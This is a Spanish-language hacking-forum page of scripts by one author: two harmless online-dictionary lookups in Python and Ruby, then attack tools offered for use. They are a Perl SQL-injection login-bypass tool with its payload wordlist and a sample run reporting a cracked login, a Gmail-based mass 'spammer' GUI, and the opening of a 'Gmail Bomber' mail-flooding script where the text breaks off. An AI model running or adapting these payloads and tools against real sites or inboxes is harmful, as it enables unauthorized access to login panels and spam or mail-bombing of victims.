elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


  Mostrar Temas
Páginas: 1 ... 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 [29] 30 31 32 33 34 35 36 37 38 39 40 41 42 43
281  Programación / Scripting / [Python] Diccionario Online 0.1 en: 19 Marzo 2012, 02:05 am
Un pequeño script en Python que hice para buscar una definicion a cualquier palabra que se
ingrese.

El codigo

Código
  1. #!usr/bin/python
  2. #Diccionario Online 0.1
  3. #Coded By Doddy H
  4.  
  5. import urllib2,re,sys,HTMLParser
  6.  
  7. def toma(web) :
  8. nave = urllib2.Request(web)
  9. nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
  10. op = urllib2.build_opener()
  11. return op.open(nave).read()
  12.  
  13. def head():
  14. print """
  15.  
  16.  
  17. @@@@    @             @                      @      
  18. @   @                                              
  19. @    @                                              
  20. @    @  @  @@@   @@@  @  @@@  @ @@   @@@  @@ @  @@@
  21. @    @  @ @   @ @   @ @ @   @ @@  @     @ @  @ @   @
  22. @    @  @ @     @     @ @   @ @   @  @@@@ @  @ @   @
  23. @    @  @ @     @     @ @   @ @   @ @   @ @  @ @   @
  24. @   @   @ @   @ @   @ @ @   @ @   @ @   @ @  @ @   @
  25. @@@@    @  @@@   @@@  @  @@@  @   @  @@@@ @  @  @@@
  26.  
  27.  
  28.  
  29.                              Coded By Doddy H
  30.  
  31.  
  32. """
  33.  
  34. def copyright():
  35. print "\n\n(C) Doddy Hackman 2012\n"
  36. raw_input()
  37. sys.exit(1)
  38.  
  39. head()
  40.  
  41. url = raw_input("\n\n[+] Palabra : ")
  42.  
  43. try:
  44. code = toma("http://es.thefreedictionary.com/"+url)
  45. if (re.findall("<div class=runseg><b>1 <\/b>&nbsp; (.*?)[.:<]",code)):
  46.   re = re.findall("<div class=runseg><b>1 <\/b>&nbsp; (.*?)[.:<]",code)
  47.   re = re[0]
  48.   htmlparser = HTMLParser.HTMLParser()
  49.   re = htmlparser.unescape(re)
  50.  
  51.   if not re=="":
  52.     print "\n\n[+] Definicion : "+re
  53.   else:
  54.     print "[-] No se encontro significado\n"
  55. except:
  56. print "[-] Error\n"
  57.  
  58. copyright()
  59.  
  60. # The End
  61.  
282  Programación / Scripting / [Ruby] Diccionario Online 0.1 en: 19 Marzo 2012, 02:04 am
Un simple script en Ruby para buscar la definicion de cualquier palabra

El codigo

Código
  1. #!usr/bin/ruby
  2. #Diccionario Online 0.1
  3. #Coded By Doddy H
  4.  
  5. require "net/http"
  6. require "cgi"
  7.  
  8. def head()
  9.  print "
  10.  
  11.  
  12. @@@@    @             @                      @      
  13. @   @                                              
  14. @    @                                              
  15. @    @  @  @@@   @@@  @  @@@  @ @@   @@@  @@ @  @@@
  16. @    @  @ @   @ @   @ @ @   @ @@  @     @ @  @ @   @
  17. @    @  @ @     @     @ @   @ @   @  @@@@ @  @ @   @
  18. @    @  @ @     @     @ @   @ @   @ @   @ @  @ @   @
  19. @   @   @ @   @ @   @ @ @   @ @   @ @   @ @  @ @   @
  20. @@@@    @  @@@   @@@  @  @@@  @   @  @@@@ @  @  @@@
  21.  
  22.  
  23.  
  24.                              Coded By Doddy H
  25.  
  26.  "
  27.  
  28. end
  29.  
  30. def copyright()
  31.  print "\n\n(C) Doddy Hackman 2012\n\n"
  32.  exit(1)
  33. end
  34.  
  35. def toma(web)
  36.  return Net::HTTP.get_response(URI.parse(web)).body
  37. end
  38.  
  39. head()
  40.  
  41. print "\n[+] Palabra : "
  42. string = gets.chomp
  43.  
  44. url = "http://es.thefreedictionary.com/"+string
  45.  
  46. code = toma(url)
  47.  
  48. if code=~/<div class=runseg><b>1 <\/b>&nbsp; (.*?)[.:<]/
  49.  text = CGI.unescapeHTML($1)
  50.  if text == " "
  51.    print "\n\n[-] Palabra no encontrada"
  52.  else
  53.    print "\n\n[+] Definicion : "+text
  54.  end
  55. end
  56.  
  57. copyright()
  58.  
  59. #The End ?
  60.  
283  Programación / Scripting / [Perl] ByPass Admin 0.1 en: 13 Marzo 2012, 18:50 pm
Acabo de terminar un programa que eh estado haciendo estos ultimos 3 dias , se trata de un script hecho en Perl para realizar los famosos y miticos bypass en los paneles de
administracion , lo bueno es que parsea todos los formularios encontrados en la pagina marcada para que todo sea mas automatico.

El programa depende de un archivo de texto llamado bypass.txt

Código:
admin'--
'or'1'='1
'or'
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
- ' or 'x'='x
- ' or 'x'='x
'or'1 ou 'or''='
' or 'x'='x
admin' or 1==1
' OR "='
'or'1'='1

El codigo (formateado con perltidy) es

Código
  1. #!usr/bin/perl
  2. #ByPass Admin 0.1
  3. #Coded By Doddy H
  4.  
  5. use LWP::UserAgent;
  6. use HTML::Form;
  7.  
  8. my $nave = LWP::UserAgent->new;
  9. $nave->agent(
  10. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  11. );
  12. $nave->timeout(5);
  13.  
  14. head();
  15. start();
  16. copyright();
  17.  
  18. sub start {
  19.    print "\n\n[+] Admin : ";
  20.    chomp( my $url = <STDIN> );
  21.  
  22.    my $code = toma($url);
  23.  
  24.    my @testar = HTML::Form->parse( $code, "/" );
  25.  
  26.    $count = 0;
  27.    foreach my $test (@testar) {
  28.        $count++;
  29.        print "\n\n -- == Form $count == --\n\n";
  30.        if ( $test->attr(name) eq "" ) {
  31.            print "[+] Name : No Found" . "\n";
  32.        }
  33.        else {
  34.            print "[+] Name : " . $test->attr(name) . "\n";
  35.        }
  36.        print "[+] Action : " . $test->action . "\n";
  37.        print "[+] Method : " . $test->method . "\n";
  38.        print "\n-- == Input == --\n\n";
  39.        @inputs = $test->inputs;
  40.  
  41.        foreach $in (@inputs) {
  42.  
  43.            print "\n[+] Type : " . $in->type . "\n";
  44.            print "[+] Name : " . $in->name . "\n";
  45.            print "[+] Value : " . $in->value . "\n";
  46.  
  47.        }
  48.    }
  49.  
  50.    print "\n\n[+] Form to crack : ";
  51.    chomp( my $op = <stdin> );
  52.  
  53.    print "\n[+] Submit : ";
  54.    chomp( my $aca = <stdin> );
  55.  
  56.    print "\n[+] Options to check\n\n";
  57.    print "1 - Positive\n";
  58.    print "2 - Negative\n";
  59.    print "3 - Automatic\n\n";
  60.    print "[+] Option : ";
  61.    chomp( my $op2 = <stdin> );
  62.  
  63.    my @bypass = loadword();
  64.  
  65.    if ( $op2 eq "1" ) {
  66.        print "\n[+] String : ";
  67.        chomp( my $st = <stdin> );
  68.        print "\n\n[+] Cracking login....\n\n";
  69.        for my $by (@bypass) {
  70.            chomp $by;
  71.            my $code = load( $url, $code, $op, $aca, $by );
  72.            if ( $code =~ /$st/ig ) {
  73.                cracked( $url, $by );
  74.            }
  75.        }
  76.        print "\n[+] Finished\n";
  77.    }
  78.  
  79.    if ( $op2 eq "2" ) {
  80.        print "\n[+] String : ";
  81.        chomp( my $st = <stdin> );
  82.        print "\n\n[+] Cracking login....\n\n";
  83.        for my $by (@bypass) {
  84.            chomp $by;
  85.            my $code = load( $url, $code, $op, $aca, $by );
  86.            unless ( $code =~ /$st/ig ) {
  87.                cracked( $url, $by );
  88.            }
  89.        }
  90.        print "\n[+] Finished\n";
  91.    }
  92.  
  93.    if ( $op2 eq "3" ) {
  94.        print "\n\n[+] Cracking login....\n\n";
  95.        my $prueba_falsa = load( $url, $code, $op, $aca, "fuck you" );
  96.        for my $by (@bypass) {
  97.            chomp $by;
  98.            my $code = load( $url, $code, $op, $aca, $by );
  99.            unless ( $code eq $prueba_falsa ) {
  100.                cracked( $url, $by );
  101.            }
  102.        }
  103.        print "\n[+] Finished\n";
  104.    }
  105.  
  106. }
  107.  
  108. sub load {
  109.  
  110.    my ( $url, $code, $op, $aca, $text ) = @_;
  111.  
  112.    $op--;
  113.    my @probar = ( HTML::Form->parse( $code, "/" ) )[$op];
  114.  
  115.    for my $testa (@probar) {
  116.        if ( $testa->method eq "POST" ) {
  117.  
  118.            my @inputs = $testa->inputs;
  119.            for my $in (@inputs) {
  120.                if ( $in->type eq "submit" ) {
  121.                    if ( $in->name eq $aca ) {
  122.                        push( @botones_names,  $in->name );
  123.                        push( @botones_values, $in->value );
  124.                    }
  125.                }
  126.                else {
  127.                    push( @ordenuno, $in->name, $text );
  128.                }
  129.            }
  130.  
  131.            my @preuno = @ordenuno;
  132.            push( @preuno, $botones_names[0], $botones_values[0] );
  133.            my $codeuno = $nave->post( $url, \@preuno )->content;
  134.  
  135.            return $codeuno;
  136.  
  137.        }
  138.        else {
  139.  
  140.            my $final    = "";
  141.            my $orden    = "";
  142.            my $partedos = "";
  143.  
  144.            my @inputs = $testa->inputs;
  145.            for my $testa (@inputs) {
  146.  
  147.                if ( $testa->name eq $aca ) {
  148.  
  149.                    push( @botones_names,  $testa->name );
  150.                    push( @botones_values, $testa->value );
  151.                }
  152.                else {
  153.                    $orden .= '' . $testa->name . '=' . $text . '&';
  154.                }
  155.            }
  156.            chop($orden);
  157.  
  158.            my $partedos = "&" . $botones_names[0] . "=" . $botones_values[0];
  159.            my $final    = $url . "?" . $orden . $partedos;
  160.  
  161.            $codedos = toma($final);
  162.            return $codedos;
  163.        }
  164.    }
  165. }
  166.  
  167. sub cracked {
  168.    print "[+] Login Cracked\n\n";
  169.    print "[+] URL : $_[0]\n";
  170.    print "[+] Bypass : $_[1]\n";
  171.    savefile( "logs-bypass.txt", "[+] URL : $_[0]" );
  172.    savefile( "logs-bypass.txt", "[+] Bypass : $_[1]\n" );
  173.    copyright();
  174. }
  175.  
  176. sub loadword {
  177.  
  178.    my $file = "bypass.txt";
  179.  
  180.    if ( -f $file ) {
  181.  
  182.        open( FI, "bypass.txt" );
  183.        my @txts = <FI>;
  184.        close FI;
  185.        chomp @txts;
  186.  
  187.        return @txts;
  188.  
  189.    }
  190.    else {
  191.        print "\n\n[-] Wordlist not found\n\n";
  192.        copyright();
  193.    }
  194.  
  195. }
  196.  
  197. sub head {
  198.    print qq(
  199.  
  200. @@@@        @@@@@                       @        @         @      
  201. @   @       @    @                      @        @                
  202. @   @       @    @                     @ @       @                
  203. @   @  @  @ @    @  @@@   @@   @@      @ @    @@@@ @@@ @@  @ @ @@
  204. @@@@   @  @ @@@@@      @ @  @ @  @    @   @  @   @ @  @  @ @ @@  @
  205. @   @  @  @ @       @@@@  @    @      @   @  @   @ @  @  @ @ @   @
  206. @   @  @  @ @      @   @   @    @     @@@@@  @   @ @  @  @ @ @   @
  207. @   @   @@  @      @   @ @  @ @  @   @     @ @   @ @  @  @ @ @   @
  208. @@@@    @   @       @@@@  @@   @@    @     @  @@@@ @  @  @ @ @   @
  209.         @                                                        
  210.       @@                                                          
  211.  
  212.  
  213.  
  214. );
  215. }
  216.  
  217. sub copyright {
  218.    print "\n\n(C) Doddy Hackman 2012\n\n";
  219.    <stdin>;
  220.    exit(1);
  221. }
  222.  
  223. sub savefile {
  224.    open( SAVE, ">>" . $_[0] );
  225.    print SAVE $_[1] . "\n";
  226.    close SAVE;
  227. }
  228.  
  229. sub toma {
  230.    return $nave->get( $_[0] )->content;
  231. }
  232.  
  233. #The End ?
  234.  

Un ejemplo de uso

Código:


 @@@@        @@@@@                       @        @         @
 @   @       @    @                      @        @
 @   @       @    @                     @ @       @
 @   @  @  @ @    @  @@@   @@   @@      @ @    @@@@ @@@ @@  @ @ @@
 @@@@   @  @ @@@@@      @ @  @ @  @    @   @  @   @ @  @  @ @ @@  @
 @   @  @  @ @       @@@@  @    @      @   @  @   @ @  @  @ @ @   @
 @   @  @  @ @      @   @   @    @     @@@@@  @   @ @  @  @ @ @   @
 @   @   @@  @      @   @ @  @ @  @   @     @ @   @ @  @  @ @ @   @
 @@@@    @   @       @@@@  @@   @@    @     @  @@@@ @  @  @ @ @   @
         @
       @@





[+] Admin : http://localhost/labs/bypass/primero.php


 -- == Form 1 == --

[+] Name : No Found
[+] Action : /
[+] Method : POST

-- == Input == --


[+] Type : text
[+] Name : usuario
[+] Value :

[+] Type : password
[+] Name : password
[+] Value :

[+] Type : submit
[+] Name : logeo
[+] Value : Entrar


[+] Form to crack : 1

[+] Submit : logeo

[+] Options to check

1 - Positive
2 - Negative
3 - Automatic

[+] Option : 1

[+] String : exitoso


[+] Cracking login....

[+] Login Cracked

[+] URL : http://localhost/labs/bypass/primero.php
[+] Bypass : 'or'1'='1


(C) Doddy Hackman 2012

284  Programación / Scripting / [Perl] DH Spammer 0.1 en: 1 Marzo 2012, 22:21 pm
Hola a todos , aca les traigo un programa que hice para mandar mails con las siguientes opciones.

  • Mensajes que permitan codigo HTML.
  • Adjuntar archivos
  • Mandar la cantidad que quieran
  • Se maneja con una lista de correos (para poder enviar el mismo mail a varios correos)

Para usarlo necesitan una cuenta Gmail para indicarle al programa que los mensajes van a ser enviados desde esa cuenta.

Una imagen del programa


El codigo (formateado con perltidy) es ...........

Código
  1. #!usr/bin/perl
  2. #DH Spammer 0.1
  3. #Coded By Doddy H
  4. #Dependencies
  5. #http://search.cpan.org/~peco/Email-Send-SMTP-Gmail-0.24/lib/Email/Send/SMTP/Gmail.pm
  6. #http://search.cpan.org/~cwest/Net-SMTP-SSL-1.01/lib/Net/SMTP/SSL.pm
  7. #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
  8. #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
  9. #http://search.cpan.org/~gbarr/Authen-SASL-2.15/lib/Authen/SASL.pod
  10. #Based on http://robertmaldon.blogspot.com/2006/10/sending-email-through-google-smtp-from.html
  11.  
  12. use Tk;
  13. use Tk::ROText;
  14. use Tk::FileSelect;
  15. use Email::Send::SMTP::Gmail;
  16. use Net::SMTP::SSL;
  17. use Cwd;
  18.  
  19. if ( $^O eq 'MSWin32' ) {
  20.    use Win32::Console;
  21.    Win32::Console::Free();
  22. }
  23.  
  24. my $color_fondo = "black";
  25. my $color_texto = "white";
  26.  
  27. my $ve =
  28.  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
  29. $ve->geometry("920x560+20+20");
  30. $ve->resizable( 0, 0 );
  31. $ve->title("DH Spammer 0.1 (C) Doddy Hackman 2012");
  32.  
  33. $d = $ve->Frame(
  34.    -relief     => "sunken",
  35.    -bd         => 1,
  36.    -background => $color_fondo,
  37.    -foreground => $color_texto
  38. );
  39. my $ma = $d->Menubutton(
  40.    -text             => "Mails",
  41.    -underline        => 1,
  42.    -background       => $color_fondo,
  43.    -foreground       => $color_texto,
  44.    -activebackground => $color_texto
  45. )->pack( -side => "left" );
  46. my $op = $d->Menubutton(
  47.    -text             => "Options",
  48.    -underline        => 1,
  49.    -background       => $color_fondo,
  50.    -foreground       => $color_texto,
  51.    -activebackground => $color_texto
  52. )->pack( -side => "left" );
  53. my $ab = $d->Menubutton(
  54.    -text             => "About",
  55.    -underline        => 1,
  56.    -background       => $color_fondo,
  57.    -foreground       => $color_texto,
  58.    -activebackground => $color_texto
  59. )->pack( -side => "left" );
  60. my $ex = $d->Menubutton(
  61.    -text             => "Exit",
  62.    -underline        => 1,
  63.    -background       => $color_fondo,
  64.    -foreground       => $color_texto,
  65.    -activebackground => $color_texto
  66. )->pack( -side => "left" );
  67. $d->pack( -side => "top", -fill => "x" );
  68.  
  69. $ma->command(
  70.    -label      => "Add Mailist",
  71.    -background => $color_fondo,
  72.    -foreground => $color_texto,
  73.    -command    => \&addmailist
  74. );
  75. $ma->command(
  76.    -label      => "Add Mail",
  77.    -background => $color_fondo,
  78.    -foreground => $color_texto,
  79.    -command    => \&addmail
  80. );
  81. $ma->command(
  82.    -label      => "Clean List",
  83.    -background => $color_fondo,
  84.    -foreground => $color_texto,
  85.    -command    => \&delist
  86. );
  87.  
  88. $op->command(
  89.    -label      => "Spam Now",
  90.    -background => $color_fondo,
  91.    -foreground => $color_texto,
  92.    -command    => \&spamnow
  93. );
  94. $op->command(
  95.    -label      => "Add Attachment",
  96.    -background => $color_fondo,
  97.    -foreground => $color_texto,
  98.    -command    => \&addfile
  99. );
  100. $op->command(
  101.    -label      => "Clean All",
  102.    -background => $color_fondo,
  103.    -foreground => $color_texto,
  104.    -command    => \&clean
  105. );
  106.  
  107. $ab->command(
  108.    -label      => "About",
  109.    -background => $color_fondo,
  110.    -foreground => $color_texto,
  111.    -command    => \&about
  112. );
  113. $ex->command(
  114.    -label      => "Exit",
  115.    -background => $color_fondo,
  116.    -foreground => $color_texto,
  117.    -command    => \&chali
  118. );
  119.  
  120. $ve->Label(
  121.    -text       => "Gmail Login",
  122.    -font       => "Impact3",
  123.    -background => $color_fondo,
  124.    -foreground => $color_texto
  125. )->place( -x => 100, -y => 40 );
  126.  
  127. $ve->Label(
  128.    -text       => "Username : ",
  129.    -background => $color_fondo,
  130.    -foreground => $color_texto
  131. )->place( -x => 20, -y => 80 );
  132. my $user = $ve->Entry(
  133.    -width      => 30,
  134.    -text       => 'lagartojuancho@gmail.com',
  135.    -background => $color_fondo,
  136.    -foreground => $color_texto
  137. )->place( -y => 83, -x => 85 );
  138.  
  139. $ve->Label(
  140.    -text       => "Password : ",
  141.    -background => $color_fondo,
  142.    -foreground => $color_texto
  143. )->place( -x => 20, -y => 120 );
  144. my $pass = $ve->Entry(
  145.    -show       => "*",
  146.    -width      => 30,
  147.    -text       => 'Secret',
  148.    -background => $color_fondo,
  149.    -foreground => $color_texto
  150. )->place( -y => 123, -x => 85 );
  151.  
  152. $ve->Label(
  153.    -text       => "Message",
  154.    -font       => "Impact3",
  155.    -background => $color_fondo,
  156.    -foreground => $color_texto
  157. )->place( -x => 110, -y => 160 );
  158.  
  159. $ve->Label(
  160.    -text       => "Number : ",
  161.    -background => $color_fondo,
  162.    -foreground => $color_texto
  163. )->place( -x => 20, -y => 210 );
  164. my $number = $ve->Entry(
  165.    -width      => 5,
  166.    -text       => "1",
  167.    -background => $color_fondo,
  168.    -foreground => $color_texto
  169. )->place( -x => 75, -y => 212 );
  170.  
  171. $ve->Label(
  172.    -text       => "Attachment : ",
  173.    -background => $color_fondo,
  174.    -foreground => $color_texto
  175. )->place( -x => 20, -y => 240 );
  176. my $fi = $ve->Entry(
  177.    -text       => 'None',
  178.    -width      => 30,
  179.    -background => $color_fondo,
  180.    -foreground => $color_texto
  181. )->place( -x => 90, -y => 242 );
  182.  
  183. $ve->Label(
  184.    -text       => "Subject : ",
  185.    -background => $color_fondo,
  186.    -foreground => $color_texto
  187. )->place( -x => 20, -y => 270 );
  188. my $tema = $ve->Entry(
  189.    -text       => "Hi idiot",
  190.    -width      => 20,
  191.    -background => $color_fondo,
  192.    -foreground => $color_texto
  193. )->place( -x => 73, -y => 273 );
  194.  
  195. $ve->Label(
  196.    -text       => "Body",
  197.    -font       => "Impact3",
  198.    -background => $color_fondo,
  199.    -foreground => $color_texto
  200. )->place( -x => 110, -y => 310 );
  201. my $body = $ve->Scrolled(
  202.    "Text",
  203.    -width      => 30,
  204.    -height     => 12,
  205.    -background => $color_fondo,
  206.    -foreground => $color_texto,
  207.    -scrollbars => "e"
  208. )->place( -x => 45, -y => 350 );
  209. $body->insert( "end", "Welcome to the hell" );
  210.  
  211. $ve->Label(
  212.    -text       => "Mailist",
  213.    -font       => "Impact3",
  214.    -background => $color_fondo,
  215.    -foreground => $color_texto
  216. )->place( -y => 40, -x => 400 );
  217. my $mailist = $ve->Listbox(
  218.    -height     => 31,
  219.    -width      => 33,
  220.    -background => $color_fondo,
  221.    -foreground => $color_texto
  222. )->place( -y => 85, -x => 330 );
  223.  
  224. $ve->Label(
  225.    -text       => "Console",
  226.    -font       => "Impact3",
  227.    -background => $color_fondo,
  228.    -foreground => $color_texto
  229. )->place( -y => 40, -x => 685 );
  230. my $console = $ve->Scrolled(
  231.    "ROText",
  232.    -width      => 40,
  233.    -height     => 31,
  234.    -background => $color_fondo,
  235.    -foreground => $color_texto,
  236.    -scrollbars => "e"
  237. )->place( -x => 580, -y => 84 );
  238.  
  239. MainLoop;
  240.  
  241. sub addmailist {
  242.  
  243.    my $adda = MainWindow->new(
  244.        -background => $color_fondo,
  245.        -foreground => $color_texto
  246.    );
  247.    $adda->geometry("400x90+20+20");
  248.    $adda->resizable( 0, 0 );
  249.    $adda->title("Add Mailist");
  250.  
  251.    $adda->Label(
  252.        -text       => "Mailist : ",
  253.        -background => $color_fondo,
  254.        -foreground => $color_texto,
  255.        -font       => "Impact1"
  256.    )->place( -x => 10, -y => 30 );
  257.    my $en = $adda->Entry(
  258.        -background => $color_fondo,
  259.        -foreground => $color_texto,
  260.        -width      => 33
  261.    )->place( -y => 33, -x => 75 );
  262.    $adda->Button(
  263.        -text             => "Browse",
  264.        -background       => $color_fondo,
  265.        -foreground       => $color_texto,
  266.        -width            => 7,
  267.        -activebackground => $color_texto,
  268.        -command          => \&brona
  269.    )->place( -y => 33, -x => 285 );
  270.    $adda->Button(
  271.        -text             => "Load",
  272.        -background       => $color_fondo,
  273.        -foreground       => $color_texto,
  274.        -width            => 7,
  275.        -activebackground => $color_texto,
  276.        -command          => \&bronaxa
  277.    )->place( -y => 33, -x => 340 );
  278.  
  279.    sub brona {
  280.        $browse = $adda->FileSelect( -directory => getcwd() );
  281.        my $file = $browse->Show;
  282.        $en->configure( -text => $file );
  283.    }
  284.  
  285.    sub bronaxa {
  286.        open( FILE, $en->get );
  287.        @words = <FILE>;
  288.        close FILE;
  289.  
  290.        for (@words) {
  291.            $mailist->insert( "end", $_ );
  292.        }
  293.    }
  294. }
  295.  
  296. sub addfile {
  297.  
  298.    my $addax = MainWindow->new(
  299.        -background => $color_fondo,
  300.        -foreground => $color_texto
  301.    );
  302.    $addax->geometry("390x90+20+20");
  303.    $addax->resizable( 0, 0 );
  304.    $addax->title("Add File");
  305.  
  306.    $addax->Label(
  307.        -text       => "File : ",
  308.        -background => $color_fondo,
  309.        -foreground => $color_texto,
  310.        -font       => "Impact1"
  311.    )->place( -x => 10, -y => 30 );
  312.    my $enaf = $addax->Entry(
  313.        -background => $color_fondo,
  314.        -foreground => $color_texto,
  315.        -width      => 33
  316.    )->place( -y => 33, -x => 55 );
  317.    $addax->Button(
  318.        -text             => "Browse",
  319.        -background       => $color_fondo,
  320.        -foreground       => $color_texto,
  321.        -width            => 7,
  322.        -activebackground => $color_texto,
  323.        -command          => \&bronax
  324.    )->place( -y => 33, -x => 265 );
  325.    $addax->Button(
  326.        -text             => "Load",
  327.        -background       => $color_fondo,
  328.        -foreground       => $color_texto,
  329.        -width            => 7,
  330.        -activebackground => $color_texto,
  331.        -command          => \&bronaxx
  332.    )->place( -y => 33, -x => 320 );
  333.  
  334.    sub bronax {
  335.        $browse = $addax->FileSelect( -directory => getcwd() );
  336.        my $filea = $browse->Show;
  337.        $enaf->configure( -text => $filea );
  338.    }
  339.  
  340.    sub bronaxx {
  341.        $fi->configure( -text => $enaf->get );
  342.    }
  343. }
  344.  
  345. sub addmail {
  346.  
  347.    my $add = MainWindow->new(
  348.        -background => $color_fondo,
  349.        -foreground => $color_texto
  350.    );
  351.    $add->geometry("350x90+20+20");
  352.    $add->resizable( 0, 0 );
  353.    $add->title("Add Mail");
  354.  
  355.    $add->Label(
  356.        -text       => "Mail : ",
  357.        -background => $color_fondo,
  358.        -foreground => $color_texto,
  359.        -font       => "Impact1"
  360.    )->place( -x => 10, -y => 30 );
  361.    my $ew = $add->Entry(
  362.        -background => $color_fondo,
  363.        -foreground => $color_texto,
  364.        -width      => 33
  365.    )->place( -y => 33, -x => 60 );
  366.    $add->Button(
  367.        -text             => "Add",
  368.        -background       => $color_fondo,
  369.        -activebackground => $color_texto,
  370.        -foreground       => $color_texto,
  371.        -width            => 7,
  372.        -command          => \&addnow
  373.    )->place( -y => 33, -x => 275 );
  374.  
  375.    sub addnow {
  376.        $mailist->insert( "end", $ew->get );
  377.    }
  378.  
  379. }
  380.  
  381. sub delist {
  382.    $mailist->delete( 0.0, "end" );
  383. }
  384.  
  385. sub spamnow {
  386.  
  387.    $console->delete( 0.1, "end" );
  388.  
  389.    my $control = "0";
  390.  
  391.    my $msg = Net::SMTP::SSL->new( "smtp.gmail.com", Port => 465 );
  392.    if ( $msg->auth( $user->get, $pass->get ) ) {
  393.        $control = "1";
  394.    }
  395.    else {
  396.        $control = "0";
  397.    }
  398.    $msg->quit();
  399.  
  400.    if ($control) {
  401.  
  402.        $console->insert( "end", "[+] Starting the Party\n\n" );
  403.  
  404.        my @mails = $mailist->get( "0.0", "end" );
  405.        chomp @mails;
  406.        for my $mail (@mails) {
  407.            $ve->update;
  408.            $console->insert( "end", "[+] Mail : $mail\n" );
  409.  
  410.            my $text = $body->get( "1.0", "end" );
  411.  
  412.            if ( $fi->get eq "None" ) {
  413.                singlemail( $user->get, $pass->get, $mail, $tema->get, $text,
  414.                    $number->get );
  415.            }
  416.            else {
  417.                singlemailwithfile( $user->get, $pass->get, $mail, $tema->get,
  418.                    $text, $fi->get, $number->get );
  419.            }
  420.        }
  421.        $console->insert( "end", "\n\n[+] Finished" );
  422.    }
  423.    else {
  424.        $console->insert( "end", "[-] Bad Login\n" );
  425.    }
  426. }
  427.  
  428. sub singlemail {
  429.  
  430.    my ( $user, $password, $target, $asunto, $mensaje, $cantidad ) = @_;
  431.  
  432.    for ( 1 .. $cantidad ) {
  433.        my $msg = Net::SMTP::SSL->new( "smtp.gmail.com", Port => 465 );
  434.        $msg->auth( $user, $password );
  435.        $msg->mail( $user . "\n" );
  436.        $msg->to( $target . "\n" );
  437.        $msg->data();
  438.        $msg->datasend( "From: " . $user . "\n" );
  439.        $msg->datasend( "To: " . $target . "\n" );
  440.        $msg->datasend( "Subject: " . $asunto . "\n" );
  441.        $msg->datasend("Content-Type: text/html \n");
  442.        $msg->datasend("\n");
  443.        $msg->datasend( $mensaje . "\n" );
  444.        $msg->dataend();
  445.        $msg->quit();
  446.    }
  447. }
  448.  
  449. sub singlemailwithfile {
  450.  
  451.    my ( $user, $password, $target, $asunto, $mensaje, $file, $cantidad ) = @_;
  452.  
  453.    my $mail = Email::Send::SMTP::Gmail->new(
  454.        -smtp  => "gmail.com",
  455.        -login => $user,
  456.        -pass  => $password
  457.    );
  458.    for my $number ( 1 .. $cantidad ) {
  459.        $mail->send(
  460.            -to          => $target,
  461.            -subject     => $asunto,
  462.            -body        => $mensaje,
  463.            -attachments => $file
  464.        );
  465.    }
  466.    $mail->bye;
  467. }
  468.  
  469. sub clean {
  470.  
  471.    $user->configure( -text => " " );
  472.    $pass->configure( -text => " " );
  473.    $number->configure( -text => " " );
  474.    $fi->configure( -text => "None" );
  475.    $tema->configure( -text => " " );
  476.    $body->delete( 0.1, "end" );
  477.    $mailist->delete( 0.0, "end" );
  478.    $console->delete( 0.1, "end" );
  479.  
  480. }
  481.  
  482. sub about {
  483.    $about = MainWindow->new( -background => "black" );
  484.    $about->title("About");
  485.    $about->geometry("300x110");
  486.    $about->resizable( 0, 0 );
  487.    $about->Label( -background => "black", -foreground => "white" )->pack();
  488.    $about->Label(
  489.        -text       => "Contact : lepuke[at]hotmail[com]",
  490.        -font       => "Impact",
  491.        -background => "black",
  492.        -foreground => "white"
  493.    )->pack();
  494.    $about->Label(
  495.        -text       => "Web : doddyhackman.webcindario.com",
  496.        -font       => "Impact",
  497.        -background => "black",
  498.        -foreground => "white"
  499.    )->pack();
  500.    $about->Label(
  501.        -text       => "Blog : doddy-hackman.blogspot.com",
  502.        -font       => "Impact",
  503.        -background => "black",
  504.        -foreground => "white"
  505.    )->pack();
  506. }
  507.  
  508. sub chali { exit(1); }
  509.  
  510. #The End ?
  511.  
  512.  
285  Programación / Scripting / [Perl] Gmail Bomber 0.3 en: 23 Febrero 2012, 17:39 pm
Hola a todos , aca les traigo un gmail bomber que hice para el torneo de programacion de HackXCrack , se trata de un simple mail bomber para Gmail , aca les dejo una imagen del programa en uso donde me envio 40 mensajes a mi cuenta


Y mi casilla quedo asi


El codigo del programa (formateado con perltidy) es

Código
  1. #!usr/bin/perl
  2. #Gmail Bomber 0.2
  3. #Dependencies
  4. #http://search.cpan.org/~peco/Email-Send-SMTP-Gmail-0.24/lib/Email/Send/SMTP/Gmail.pm
  5. #http://search.cpan.org/~cwest/Net-SMTP-SSL-1.01/lib/Net/SMTP/SSL.pm
  6. #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
  7. #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
  8. #http://search.cpan.org/~gbarr/Authen-SASL-2.15/lib/Authen/SASL.pod
  9.  
  10. use Tk;
  11. use Win32;
  12. use Email::Send::SMTP::Gmail;
  13.  
  14. if ( $^O eq 'MSWin32' ) {
  15.    use Win32::Console;
  16.    Win32::Console::Free();
  17. }
  18.  
  19. my $color_fondo = "black";
  20. my $color_texto = "green";
  21.  
  22. my $ve =
  23.  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
  24. $ve->geometry("300x600+20+20");
  25. $ve->resizable( 0, 0 );
  26. $ve->title("Gmail Bomber 0.2");
  27.  
  28. $ve->Label(
  29.    -text       => "Login",
  30.    -font       => "Impact3",
  31.    -background => $color_fondo,
  32.    -foreground => $color_texto
  33. )->place( -x => 110, -y => 30 );
  34.  
  35. $ve->Label(
  36.    -text       => "Username : ",
  37.    -background => $color_fondo,
